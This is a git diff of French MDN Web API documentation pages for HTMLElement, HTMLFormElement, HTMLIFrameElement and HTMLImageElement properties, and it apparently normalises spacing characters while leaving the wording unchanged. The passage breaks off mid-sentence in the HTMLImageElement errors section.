| diff --git a/files/fr/web/api/htmlelement/offsetheight/index.md b/files/fr/web/api/htmlelement/offsetheight/index.md index 9ea5546329..794d246dc8 100644 --- a/files/fr/web/api/htmlelement/offsetheight/index.md +++ b/files/fr/web/api/htmlelement/offsetheight/index.md @@ -35,7 +35,7 @@ L'exemple d'image ci-avant montre une barre de défilement et un décalage `offs ### Notes -`offsetHeight` est une propriété du modèle objet DHTML introduite par Microsoft Internet Explorer. On l'appelle parfois la hauteur physique ou graphique d'un élément, ou sa hauteur « border-box » (bordure et boîte). +`offsetHeight` est une propriété du modèle objet DHTML introduite par Microsoft Internet Explorer. On l'appelle parfois la hauteur physique ou graphique d'un élément, ou sa hauteur « border-box » (bordure et boîte). ### Références diff --git a/files/fr/web/api/htmlelement/offsetleft/index.md b/files/fr/web/api/htmlelement/offsetleft/index.md index 7aab29ee95..b0f7aff57a 100644 --- a/files/fr/web/api/htmlelement/offsetleft/index.md +++ b/files/fr/web/api/htmlelement/offsetleft/index.md @@ -21,7 +21,7 @@ de l'élément courant est décalé vers la gauche au sein du nœud [`offsetPare ### Note -`offsetLeft` renvoie la position du coin supérieur gauche de l'élément ; pas nécessairement du « vrai » bord gauche de l'élément. C'est important pour les éléments **span** dans les textes continus qui s'étendent sur plusieurs lignes. Le span peut commencer au milieu de la page et continuer au début de la ligne suivante. La propriété `offsetLeft` fera référence au coin gauche de départ du span, pas le bord gauche du texte au début de la seconde ligne. Par conséquent, une boîte avec les valeurs left, top, width et height correspondant à `offsetLeft, offsetTop, offsetWidth` et `offsetHeight` ne contiendra pas forcément un span avec débordement de texte. +`offsetLeft` renvoie la position du coin supérieur gauche de l'élément ; pas nécessairement du « vrai » bord gauche de l'élément. C'est important pour les éléments **span** dans les textes continus qui s'étendent sur plusieurs lignes. Le span peut commencer au milieu de la page et continuer au début de la ligne suivante. La propriété `offsetLeft` fera référence au coin gauche de départ du span, pas le bord gauche du texte au début de la seconde ligne. Par conséquent, une boîte avec les valeurs left, top, width et height correspondant à `offsetLeft, offsetTop, offsetWidth` et `offsetHeight` ne contiendra pas forcément un span avec débordement de texte. ### Exemple @@ -29,16 +29,16 @@ de l'élément courant est décalé vers la gauche au sein du nœud [`offsetPare var tOLeft = colorTable.offsetLeft; if (tOLeft > 5) { - // grand décalage à gauche : faire quelque chose ici + // grand décalage à gauche : faire quelque chose ici } ### Exemple -Comme noté plus haut, cet exemple montre une « longue » phrase qui déborde dans un div avec une bordure bleue, et une boîte rouge dont on pourrait croire qu'elle décrit les limites du span. +Comme noté plus haut, cet exemple montre une « longue » phrase qui déborde dans un div avec une bordure bleue, et une boîte rouge dont on pourrait croire qu'elle décrit les limites du span.  -Note : il s'agit d'une image de l'exemple, pas d'un rendu direct dans le navigateur. En effet, il n'est pas possible d'intégrer des scripts dans la page du wiki. +Note : il s'agit d'une image de l'exemple, pas d'un rendu direct dans le navigateur. En effet, il n'est pas possible d'intégrer des scripts dans la page du wiki. ```html <div style="width: 300px; border-color:blue; diff --git a/files/fr/web/api/htmlelement/offsetparent/index.md b/files/fr/web/api/htmlelement/offsetparent/index.md index 93a25485bf..71a075b8ac 100644 --- a/files/fr/web/api/htmlelement/offsetparent/index.md +++ b/files/fr/web/api/htmlelement/offsetparent/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/HTMLElement/offsetParent ### Résumé -Renvoie une référence à l'objet qui est l'élément conteneur positionné le plus proche (dans la hiérarchie de positionnement). Si l'élément n'est pas positionné, c'est l'élément racine (html en mode de respect des standards ; body en mode de rendu quirks) qui est l'**offsetParent**. +Renvoie une référence à l'objet qui est l'élément conteneur positionné le plus proche (dans la hiérarchie de positionnement). Si l'élément n'est pas positionné, c'est l'élément racine (html en mode de respect des standards ; body en mode de rendu quirks) qui est l'**offsetParent**. ### Syntaxe diff --git a/files/fr/web/api/htmlelement/offsetwidth/index.md b/files/fr/web/api/htmlelement/offsetwidth/index.md index 66bde2526f..f5a6b3f465 100644 --- a/files/fr/web/api/htmlelement/offsetwidth/index.md +++ b/files/fr/web/api/htmlelement/offsetwidth/index.md @@ -29,7 +29,7 @@ Typiquement, l'attribut `offsetWidth` est une mesure qui comprend les bordures d ### Notes -`offsetWidth` est une propriété du modèle objet DHTML provenant de Microsoft Internet Explorer. On l'appelle parfois la largeur physique ou graphique d'un élément, ou sa largeur « border-box » (bordure et boîte). +`offsetWidth` est une propriété du modèle objet DHTML provenant de Microsoft Internet Explorer. On l'appelle parfois la largeur physique ou graphique d'un élément, ou sa largeur « border-box » (bordure et boîte). ### Références diff --git a/files/fr/web/api/htmlelement/outertext/index.md b/files/fr/web/api/htmlelement/outertext/index.md index fc7fe6a2eb..f52e7b5ca7 100644 --- a/files/fr/web/api/htmlelement/outertext/index.md +++ b/files/fr/web/api/htmlelement/outertext/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/HTMLElement/outerText ## Résumé -**`HTMLElement.outerText`** n'est pas une propriété standard. En lecture, elle renvoie la même valeur que {{domxref("Node.innerText")}}. En écriture, elle supprime le noeud courant et le remplace par le texte fourni. +**`HTMLElement.outerText`** n'est pas une propriété standard. En lecture, elle renvoie la même valeur que {{domxref("Node.innerText")}}. En écriture, elle supprime le noeud courant et le remplace par le texte fourni. ## Exemple diff --git a/files/fr/web/api/htmlelement/title/index.md b/files/fr/web/api/htmlelement/title/index.md index 4746016d01..ea06935e79 100644 --- a/files/fr/web/api/htmlelement/title/index.md +++ b/files/fr/web/api/htmlelement/title/index.md @@ -36,7 +36,7 @@ La propriété **`HTMLElement.title`** représente le titre de l'élément, le t | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------ | -------------------------------- | -------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', '#dom-title', 'title')}} | {{Spec2('HTML WHATWG')}} | Pas de changement par rapport à la {{SpecName('DOM2 HTML')}}. | -| {{SpecName('DOM2 HTML', 'html.html#ID-78276800', 'title')}} | {{Spec2('DOM2 HTML')}} | Pas de changement par rapport à la {{SpecName('DOM1')}}. | +| {{SpecName('DOM2 HTML', 'html.html#ID-78276800', 'title')}} | {{Spec2('DOM2 HTML')}} | Pas de changement par rapport à la {{SpecName('DOM1')}}. | | {{SpecName('DOM1', 'level-one-html.html#ID-78276800', 'title')}} | {{Spec2('DOM1')}} | Définition initiale. | ## Compatibilité des navigateurs @@ -45,4 +45,4 @@ La propriété **`HTMLElement.title`** représente le titre de l'élément, le t ## Voir aussi -- L'attribut HTML global [**title**](/fr/docs/Web/HTML/Attributs_universels/title). +- L'attribut HTML global [**title**](/fr/docs/Web/HTML/Attributs_universels/title). diff --git a/files/fr/web/api/htmlelement/transitionend_event/index.md b/files/fr/web/api/htmlelement/transitionend_event/index.md index 2ab87e6a9e..30a0e624fa 100644 --- a/files/fr/web/api/htmlelement/transitionend_event/index.md +++ b/files/fr/web/api/htmlelement/transitionend_event/index.md @@ -38,7 +38,7 @@ L'événement **`transitionend`** est déclenché lorsqu'une [transition CSS](/e </tbody> </table> -L'événement `transitionend` est déclenché dans les deux sens - à la fin de la transition vers l'état de transition et lorsqu'il revient complètement à l'état par défaut ou sans transition. S'il n'y a pas de délai ou de durée de transition, si les deux sont 0 ou qu'aucun n'est déclaré, il n'y a pas de transition et aucun des événements de transition n'est déclenché. Si l'événement `transitioncancel` est déclenché, l'événement `transitionend` ne se déclenchera pas. +L'événement `transitionend` est déclenché dans les deux sens - à la fin de la transition vers l'état de transition et lorsqu'il revient complètement à l'état par défaut ou sans transition. S'il n'y a pas de délai ou de durée de transition, si les deux sont 0 ou qu'aucun n'est déclaré, il n'y a pas de transition et aucun des événements de transition n'est déclenché. Si l'événement `transitioncancel` est déclenché, l'événement `transitionend` ne se déclenchera pas. ## Propriétés @@ -118,7 +118,7 @@ el.addEventListener('transitioncancel', function() { }); el.addEventListener('transitionend', function() { - message.textContent = 'transitionend fired'; + message.textContent = 'transitionend fired'; }); ``` diff --git a/files/fr/web/api/htmlformelement/acceptcharset/index.md b/files/fr/web/api/htmlformelement/acceptcharset/index.md index 57663cfbef..3ff909eb93 100644 --- a/files/fr/web/api/htmlformelement/acceptcharset/index.md +++ b/files/fr/web/api/htmlformelement/acceptcharset/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/HTMLFormElement/acceptCharset --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.acceptCharset`** représente une liste des codages de caratères acceptés par l'élément FORM concerné. Les valeurs de cette liste peuvent être séparés par des virgules ou des espaces. +La propriété **`HTMLFormElement.acceptCharset`** représente une liste des codages de caratères acceptés par l'élément FORM concerné. Les valeurs de cette liste peuvent être séparés par des virgules ou des espaces. ## Syntaxe @@ -20,6 +20,6 @@ La propriété **`HTMLFormElement.acceptCharset`** représente une liste des co ## Spécification -[HTML 5, Section 4.10.3: The Form Element](http://www.w3.org/TR/html5/forms.html#dom-form-acceptcharset) +[HTML 5, Section 4.10.3: The Form Element](http://www.w3.org/TR/html5/forms.html#dom-form-acceptcharset) [DOM Level 2 HTML: acceptCharset](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-19661795) diff --git a/files/fr/web/api/htmlformelement/action/index.md b/files/fr/web/api/htmlformelement/action/index.md index 612ca4a371..84b6bb9ba4 100644 --- a/files/fr/web/api/htmlformelement/action/index.md +++ b/files/fr/web/api/htmlformelement/action/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLFormElement/action --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.action`** représente l'action associée à l'élément {{HTMLElement("form")}}. +La propriété **`HTMLFormElement.action`** représente l'action associée à l'élément {{HTMLElement("form")}}. L'action d'un formulaire est le programme exécuté sur le serveur lorsque le formulaire est soumis. Cette propriété peut être récupérée ou définie. diff --git a/files/fr/web/api/htmlformelement/elements/index.md b/files/fr/web/api/htmlformelement/elements/index.md index 917df92fce..582fe668d5 100644 --- a/files/fr/web/api/htmlformelement/elements/index.md +++ b/files/fr/web/api/htmlformelement/elements/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLFormElement/elements --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.elements`** retourne une {{domxref("HTMLFormControlsCollection")}} ({{ HTMLVersionInline(4) }} [`HTMLCollection`](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506)) de tous les contrôles de formulaire contenu dans l'élément FORM, à l'exception des éléments de type [input](/fr-FR/docs/HTML/Element/Input) dont l'attribut `type` est égal à `image`. +La propriété **`HTMLFormElement.elements`** retourne une {{domxref("HTMLFormControlsCollection")}} ({{ HTMLVersionInline(4) }} [`HTMLCollection`](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506)) de tous les contrôles de formulaire contenu dans l'élément FORM, à l'exception des éléments de type [input](/fr-FR/docs/HTML/Element/Input) dont l'attribut `type` est égal à `image`. Vous pouvez accéder à un élément particulier en utilisant soit un index soit le `name` ou l'`id` de l'élément. diff --git a/files/fr/web/api/htmlformelement/encoding/index.md b/files/fr/web/api/htmlformelement/encoding/index.md index a148520e2d..6ea6cc9a55 100644 --- a/files/fr/web/api/htmlformelement/encoding/index.md +++ b/files/fr/web/api/htmlformelement/encoding/index.md @@ -5,4 +5,4 @@ translation_of: Web/API/HTMLFormElement/encoding --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.encoding`** est un nom alternatif pour l'élément {{domxref("HTMLFormElement.enctype","enctype")}} de l'objet {{domxref("HTMLFormElement")}} du DOM. +La propriété **`HTMLFormElement.encoding`** est un nom alternatif pour l'élément {{domxref("HTMLFormElement.enctype","enctype")}} de l'objet {{domxref("HTMLFormElement")}} du DOM. diff --git a/files/fr/web/api/htmlformelement/enctype/index.md b/files/fr/web/api/htmlformelement/enctype/index.md index 71107a5efa..9215596bc7 100644 --- a/files/fr/web/api/htmlformelement/enctype/index.md +++ b/files/fr/web/api/htmlformelement/enctype/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/HTMLFormElement/enctype --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.enctype`** représente le type de contenu de l'élément {{HTMLElement("form")}}. +La propriété **`HTMLFormElement.enctype`** représente le type de contenu de l'élément {{HTMLElement("form")}}. -Le type d'encodage généralement utilisé est "application/x-www-form-urlencoded". +Le type d'encodage généralement utilisé est "application/x-www-form-urlencoded". ## Syntaxe diff --git a/files/fr/web/api/htmlformelement/index.md b/files/fr/web/api/htmlformelement/index.md index 8850ffaf60..3ed96ee05c 100644 --- a/files/fr/web/api/htmlformelement/index.md +++ b/files/fr/web/api/htmlformelement/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/HTMLFormElement --- {{APIRef("HTML DOM")}} -L'interface **`HTMLFormElement`** représente un élément {{HTMLElement("form")}} dans le DOM ; il peut être utilisé pour accéder et, dans quelques cas, modifier l'aspect du formulaire, ainsi que pour accéder à ses éléments composants. +L'interface **`HTMLFormElement`** représente un élément {{HTMLElement("form")}} dans le DOM ; il peut être utilisé pour accéder et, dans quelques cas, modifier l'aspect du formulaire, ainsi que pour accéder à ses éléments composants. {{InheritanceDiagram(600,120)}} @@ -62,7 +62,7 @@ _Cette interface hérite aussi des méthodes de son parent {{domxref("HTMLElemen ### Obtention d'un objet élément de formulaire -Pour obtenir un objet `HTMLFormElement`, vous pouvez utiliser un [sélecteur CSS](/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS) avec {{domxref("ParentNode.querySelector", "querySelector()")}} ou vous pouvez obtenir une liste de tous les formulaires du document utilisant sa propriété {{domxref("Document.forms", "forms")}}. +Pour obtenir un objet `HTMLFormElement`, vous pouvez utiliser un [sélecteur CSS](/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS) avec {{domxref("ParentNode.querySelector", "querySelector()")}} ou vous pouvez obtenir une liste de tous les formulaires du document utilisant sa propriété {{domxref("Document.forms", "forms")}}. {{domxref("Document.forms")}} renvoie un tableau des objets `HTMLFormElement` listant chacun des formulaires de la page. Vous pouvez utiliser alors l'une des syntaxes suivantes pour obtenir un formulaire individuel : @@ -79,7 +79,7 @@ Vous pouvez accéder à la liste des éléments contenant des données dans le f ### Éléments considérés comme des contrôles de formulaire -Les éléments qui sont inclus par `HTMLFormElement.elements` et `HTMLFormElement.length` sont : +Les éléments qui sont inclus par `HTMLFormElement.elements` et `HTMLFormElement.length` sont : - {{HTMLElement("button")}} (_bouton_) - {{HTMLElement("fieldset")}} (*champ*s) diff --git a/files/fr/web/api/htmlformelement/length/index.md b/files/fr/web/api/htmlformelement/length/index.md index 1f497f191c..4cee034019 100644 --- a/files/fr/web/api/htmlformelement/length/index.md +++ b/files/fr/web/api/htmlformelement/length/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLFormElement/length --- {{APIRef("HTML DOM")}} -La propriété en lecture seule **`HTMLFormElement.length`** retourne le nombre de contrôles présents dans l'élément {{HTMLElement("Form")}}. +La propriété en lecture seule **`HTMLFormElement.length`** retourne le nombre de contrôles présents dans l'élément {{HTMLElement("Form")}}. ## Syntaxe diff --git a/files/fr/web/api/htmlformelement/method/index.md b/files/fr/web/api/htmlformelement/method/index.md index 43eaa9c50a..7f253d80e2 100644 --- a/files/fr/web/api/htmlformelement/method/index.md +++ b/files/fr/web/api/htmlformelement/method/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLFormElement/method --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.method`** représente la méthode HTTP utilisée pour soumettre un formulaire. +La propriété **`HTMLFormElement.method`** représente la méthode HTTP utilisée pour soumettre un formulaire. ## Syntaxe diff --git a/files/fr/web/api/htmlformelement/name/index.md b/files/fr/web/api/htmlformelement/name/index.md index 3256e5be65..508b688a9f 100644 --- a/files/fr/web/api/htmlformelement/name/index.md +++ b/files/fr/web/api/htmlformelement/name/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/HTMLFormElement/name --- {{APIRef("HTML DOM")}} -La propriété `HTMLFormElement.name` représente le nom de l'élément `form` sous la forme d'une chaîne de caratères. +La propriété `HTMLFormElement.name` représente le nom de l'élément `form` sous la forme d'une chaîne de caratères. -Si votre {{HTMLElement("Form")}} contient un élément appelé *name*, alors ce dernier redéfinit la propriété `form.name`, afin que vous ne puissiez y accéder. Internet Explorer (IE) bloque la définition ou la modification du nom d'un élément créé avec `createElement()` à partir de la propriété `name`. +Si votre {{HTMLElement("Form")}} contient un élément appelé *name*, alors ce dernier redéfinit la propriété `form.name`, afin que vous ne puissiez y accéder. Internet Explorer (IE) bloque la définition ou la modification du nom d'un élément créé avec `createElement()` à partir de la propriété `name`. ## Syntaxe @@ -19,12 +19,12 @@ Si votre {{HTMLElement("Form")}} contient un élément appelé *name*, alors ```js var form1name = document.getElementById("form1").name; -if (form1name != document.form.form1) { +if (form1name != document.form.form1) { // browser doesn't support this form of reference } ``` ## Spécification -- [HTML 5, Section 4.10.3, The form Element](http://www.w3.org/TR/html5/forms.html#dom-form-name) +- [HTML 5, Section 4.10.3, The form Element](http://www.w3.org/TR/html5/forms.html#dom-form-name) - [DOM Level 2 HTML: name](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454) diff --git a/files/fr/web/api/htmlformelement/reportvalidity/index.md b/files/fr/web/api/htmlformelement/reportvalidity/index.md index d54f17148d..73a936beec 100644 --- a/files/fr/web/api/htmlformelement/reportvalidity/index.md +++ b/files/fr/web/api/htmlformelement/reportvalidity/index.md @@ -8,7 +8,7 @@ translation_of: Web/API/HTMLFormElement/reportValidity --- {{APIRef("HTML DOM")}} -La méthode **`HTMLFormElement.reportValidity()`** renvoie true si les contrôles enfants de l'élément répondent à leurs contraintes de validation. Lorsque la valeur `false` est renvoyée, , les événements [`invalid`](/en-US/docs/Web/Events/invalid) annulables sont déclenchés pour chaque enfant non valide et les problèmes de validation sont signalés à l'utilisateur. . +La méthode **`HTMLFormElement.reportValidity()`** renvoie true si les contrôles enfants de l'élément répondent à leurs contraintes de validation. Lorsque la valeur `false` est renvoyée, , les événements [`invalid`](/en-US/docs/Web/Events/invalid) annulables sont déclenchés pour chaque enfant non valide et les problèmes de validation sont signalés à l'utilisateur. . ## Syntax @@ -34,7 +34,7 @@ document.forms['myform'].addEventListener('submit', function() { | Specification | Status | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "forms.html#dom-cva-reportvalidity", "HTMLFormElement.reportValidity()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "forms.html#dom-cva-reportvalidity", "HTMLFormElement.reportValidity()")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "semantics.html#the-constraint-validation-api", "HTMLFormElement.reportValidity()")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlformelement/submit/index.md b/files/fr/web/api/htmlformelement/submit/index.md index 2630092001..64feae672e 100644 --- a/files/fr/web/api/htmlformelement/submit/index.md +++ b/files/fr/web/api/htmlformelement/submit/index.md @@ -9,15 +9,15 @@ translation_of: Web/API/HTMLFormElement/submit --- {{APIRef("HTML DOM")}} -La méthode **`HTMLFormElement.submit()`** soumet un {{HtmlElement("form")}} donné +La méthode **`HTMLFormElement.submit()`** soumet un {{HtmlElement("form")}} donné Cette méthode est similaire, mais pas identique, à l’activation du script submit {{HtmlElement ("button")}}. Lors de l'appel direct de cette méthode, cependant: - Aucun événement {{event ("submit")}} n'est déclenché. En particulier, le formulaire -- {{domxref("GlobalEventHandlers.onsubmit", "onsubmit")}} le gestionnaire d'événement n'est pas exécuté . +- {{domxref("GlobalEventHandlers.onsubmit", "onsubmit")}} le gestionnaire d'événement n'est pas exécuté . - [Constraint validation](/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation) n'est pas déclenché . -Si un contrôle de formulaire (tel qu'un submit bouton ) a un`name` ou un `id` de `submit`, cette méthode masquera la méthode d'envoi du formulaire. +Si un contrôle de formulaire (tel qu'un submit bouton ) a un`name` ou un `id` de `submit`, cette méthode masquera la méthode d'envoi du formulaire. ## Syntax diff --git a/files/fr/web/api/htmlformelement/target/index.md b/files/fr/web/api/htmlformelement/target/index.md index b5c5dcc6c7..e1c63b2d5e 100644 --- a/files/fr/web/api/htmlformelement/target/index.md +++ b/files/fr/web/api/htmlformelement/target/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLFormElement/target --- {{APIRef("HTML DOM")}} -La propriété **`HTMLFormElement.target`** représente la cible de l'action (i.e., le cadre de destination dans lequel produire le résultat). +La propriété **`HTMLFormElement.target`** représente la cible de l'action (i.e., le cadre de destination dans lequel produire le résultat). ## Syntaxe diff --git a/files/fr/web/api/htmliframeelement/contentdocument/index.md b/files/fr/web/api/htmliframeelement/contentdocument/index.md index 178b02027f..6dadd42b5d 100644 --- a/files/fr/web/api/htmliframeelement/contentdocument/index.md +++ b/files/fr/web/api/htmliframeelement/contentdocument/index.md @@ -4,7 +4,7 @@ slug: Web/API/HTMLIFrameElement/contentDocument translation_of: HTMLIFrameElement.contentDocument browser-compat: api.HTMLIFrameElement.contentDocument --- -Si l'<i lang="en">iframe</i> et le document parent de l'<i lang="en">iframe</i> sont de la [même origine](/fr/docs/Web/Security/Same-origin_policy), `HTMLIFrameElement.contentDocument` retourne un [`Document`](/fr/docs/Web/API/Document) (c'est à dire le document actif dans le contexte de navigation imbriqué du cadre). Sinon, il retourne `null`. +Si l'<i lang="en">iframe</i> et le document parent de l'<i lang="en">iframe</i> sont de la [même origine](/fr/docs/Web/Security/Same-origin_policy), `HTMLIFrameElement.contentDocument` retourne un [`Document`](/fr/docs/Web/API/Document) (c'est à dire le document actif dans le contexte de navigation imbriqué du cadre). Sinon, il retourne `null`. ## Exemples diff --git a/files/fr/web/api/htmlimageelement/index.md b/files/fr/web/api/htmlimageelement/index.md index 07b28b66bc..5b651f7ceb 100644 --- a/files/fr/web/api/htmlimageelement/index.md +++ b/files/fr/web/api/htmlimageelement/index.md @@ -5,14 +5,14 @@ translation_of: Web/API/HTMLImageElement --- {{APIRef("HTML DOM")}} -L'interface **`HTMLImageElement`** fournit des propriétés et des méthodes spéciales pour manipuler la mise en page et la présentation des éléments {{HTMLElement("img")}} . +L'interface **`HTMLImageElement`** fournit des propriétés et des méthodes spéciales pour manipuler la mise en page et la présentation des éléments {{HTMLElement("img")}} . ## Propriétés _Hérite les propriétés de son parent, {{domxref ("HTMLElement")}}_ - {{domxref("HTMLImageElement.align")}} {{obsolete_inline}} - - : Est une {{domxref("DOMString")}} _(chaîne de caractères)_ qui indique l'alignement de l'image en respectant le contexte environnant. Les valeurs possibles sont `"left"`_(gauche)_, `"right"`_(droite)_, `"justify"`_(justifié)_, et `"center"`_(centré) ._ + - : Est une {{domxref("DOMString")}} _(chaîne de caractères)_ qui indique l'alignement de l'image en respectant le contexte environnant. Les valeurs possibles sont `"left"`_(gauche)_, `"right"`_(droite)_, `"justify"`_(justifié)_, et `"center"`_(centré) ._ - {{domxref("HTMLImageElement.alt")}} - : Est une {{domxref("DOMString")}} _(chaîne de caractères)_ qui reflète les attributs HTML {{htmlattrxref("alt", "img")}} , ceux-ci indiquant le recul du contexte de l'image. - {{domxref("HTMLImageElement.border")}} {{obsolete_inline}} @@ -22,7 +22,7 @@ _Hérite les propriétés de son parent, {{domxref ("HTMLElement")}}_ - {{domxref("HTMLImageElement.crossOrigin")}} - : Est une {{domxref("DOMString")}} _(chaîne de caractères)_ représentant le paramètre CORS défini pour cet élément image. Voir [Attributs de règlage du CORS](/fr/docs/Web/HTML/Reglages_des_attributs_CORS) pour plus de détails. - {{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}{{experimental_inline}} - - : Retourne une {{domxref("DOMString")}} *(chaîne de caractères)* représentant l'URL de l'image courante affichée (qui peut changer, par exemple en réponse à une requête multimédia). + - : Retourne une {{domxref("DOMString")}} *(chaîne de caractères)* représentant l'URL de l'image courante affichée (qui peut changer, par exemple en réponse à une requête multimédia). - {{domxref("HTMLImageElement.height")}} - : Est un `unsigned long` _(non signé long)_ qui reflète l'attibut HTML {{htmlattrxref("height", "img")}} indiquant la hauteur du rendu de l'image en pixels CSS. - {{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}} @@ -30,29 +30,29 @@ _Hérite les propriétés de son parent, {{domxref ("HTMLElement")}}_ - {{domxref("HTMLImageElement.isMap")}} - : Est un {{domxref("Boolean")}} _(booléen)_ qui reflète l'attribut HTML {{htmlattrxref("ismap", "img")}} indiquant que l'image fait partie d'une carte d'image côté serveur. - {{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* représentant l'URL d'une longue description de l'image. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* représentant l'URL d'une longue description de l'image. - {{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui fait référence à une copie de faible qualité (mais plus rapide à charger) de l'image. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui fait référence à une copie de faible qualité (mais plus rapide à charger) de l'image. - {{domxref("HTMLImageElement.name")}} {{obsolete_inline}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* représentant le nom de l'élément. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* représentant le nom de l'élément. - {{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}} - - : Retourne un `unsigned long` représentant la hauteur intrinsèque de l'image en pixels CSS, si elle est disponible ; sinon, 0 est affiché. + - : Retourne un `unsigned long` représentant la hauteur intrinsèque de l'image en pixels CSS, si elle est disponible ; sinon, 0 est affiché. - {{domxref("HTMLImageElement.referrerPolicy")}} {{experimental_inline}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui reflète l'attribut HTML {{htmlattrxref("referrerpolicy", "img")}} indiquant la référence à utiliser pour récupérer l'image. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui reflète l'attribut HTML {{htmlattrxref("referrerpolicy", "img")}} indiquant la référence à utiliser pour récupérer l'image. - {{domxref("HTMLImageElement.src")}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui reflète l'attribut HTML {{htmlattrxref("src", "img")}} contenant l'URL complète de l'image y compris l'URI de base. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui reflète l'attribut HTML {{htmlattrxref("src", "img")}} contenant l'URL complète de l'image y compris l'URI de base. - {{domxref("HTMLImageElement.sizes")}} {{experimental_inline}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* reflétant l'attribut HTML {{htmlattrxref("sizes", "img")}} _(taille)_. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* reflétant l'attribut HTML {{htmlattrxref("sizes", "img")}} _(taille)_. - {{domxref("HTMLImageElement.srcset")}} {{experimental_inline}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* reflétant l'attribut HTML {{htmlattrxref("srcset", "img")}} , qui contient une liste d'images candidates, séparées par une virgule. Une image candidate est une URL suivie d'un `'w'` avec la largeur de l'image ou d'un `'x'` avec la densité en pixels. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* reflétant l'attribut HTML {{htmlattrxref("srcset", "img")}} , qui contient une liste d'images candidates, séparées par une virgule. Une image candidate est une URL suivie d'un `'w'` avec la largeur de l'image ou d'un `'x'` avec la densité en pixels. - {{domxref("HTMLImageElement.useMap")}} - - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui reflète l'attribut HTML {{htmlattrxref("usemap", "img")}} contenant une URL partielle d'un élément "map" _(carte)_. + - : Est une {{domxref("DOMString")}} *(chaîne de caractères)* qui reflète l'attribut HTML {{htmlattrxref("usemap", "img")}} contenant une URL partielle d'un élément "map" _(carte)_. - {{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}} - : Est un `long` représentant l'espace au-dessus et en-dessous de l'image. - {{domxref("HTMLImageElement.width")}} - : Est un `unsigned long` qui reflète l'attribut HTML {{htmlattrxref("width", "img")}} indiquant la largeur rendue de l'image en pixels CSS. - {{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}} - - : Retourne un `long` représentant le décalage horizontal à partir de la couche la plus proche. Cette propriété imite un comportement ancien de Netscape 4. + - : Retourne un `long` représentant le décalage horizontal à partir de la couche la plus proche. Cette propriété imite un comportement ancien de Netscape 4. - {{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}} - : Retourne un `long` représentant le décalage vertical à partir de la couche la plus proche. Cette propriété imite un comportement ancien de Netscape 4. @@ -61,16 +61,16 @@ _Hérite les propriétés de son parent, {{domxref ("HTMLElement")}}_ _Hérite les propriétés de son parent, {{domxref("HTMLElement")}}._ - {{domxref("HTMLImageElement.Image()", "Image()")}} - - : Le constructeur d'image, comprend deux propriétés `unsigned` et `long` , qui sont la largeur et la hauteur de la ressource, et crée une instance de `HTMLImageElement` , non insérée dans une arborescence DOM. + - : Le constructeur d'image, comprend deux propriétés `unsigned` et `long`, qui sont la largeur et la hauteur de la ressource, et crée une instance de `HTMLImageElement` , non insérée dans une arborescence DOM. ## Erreurs Si une erreur apparaît pendant un essai de chargement ou de rendu de l'image, et si un gestionnaire d'évènements {{htmlattrxref("onerror")}} a été configuré pour gérer les évènements {{event("error")}} , ce gestionnaire est appelé. Cela peut se produire dans un certain nombre de situations, y compris : -- L'attribut {{htmlattrxref("src", "img")}} est vide ou `null`. -- L'URL spécifiée de `src` est la même que l'URL de la page actuelle de l'utilisateur. +- L'attribut {{htmlattrxref("src", "img")}} est vide ou `null`. +- L'URL spécifiée de `src` est la même que l'URL de la page actuelle de l'utilisateur. - L'image spécifiée est corrompue de telle manière qu'elle ne 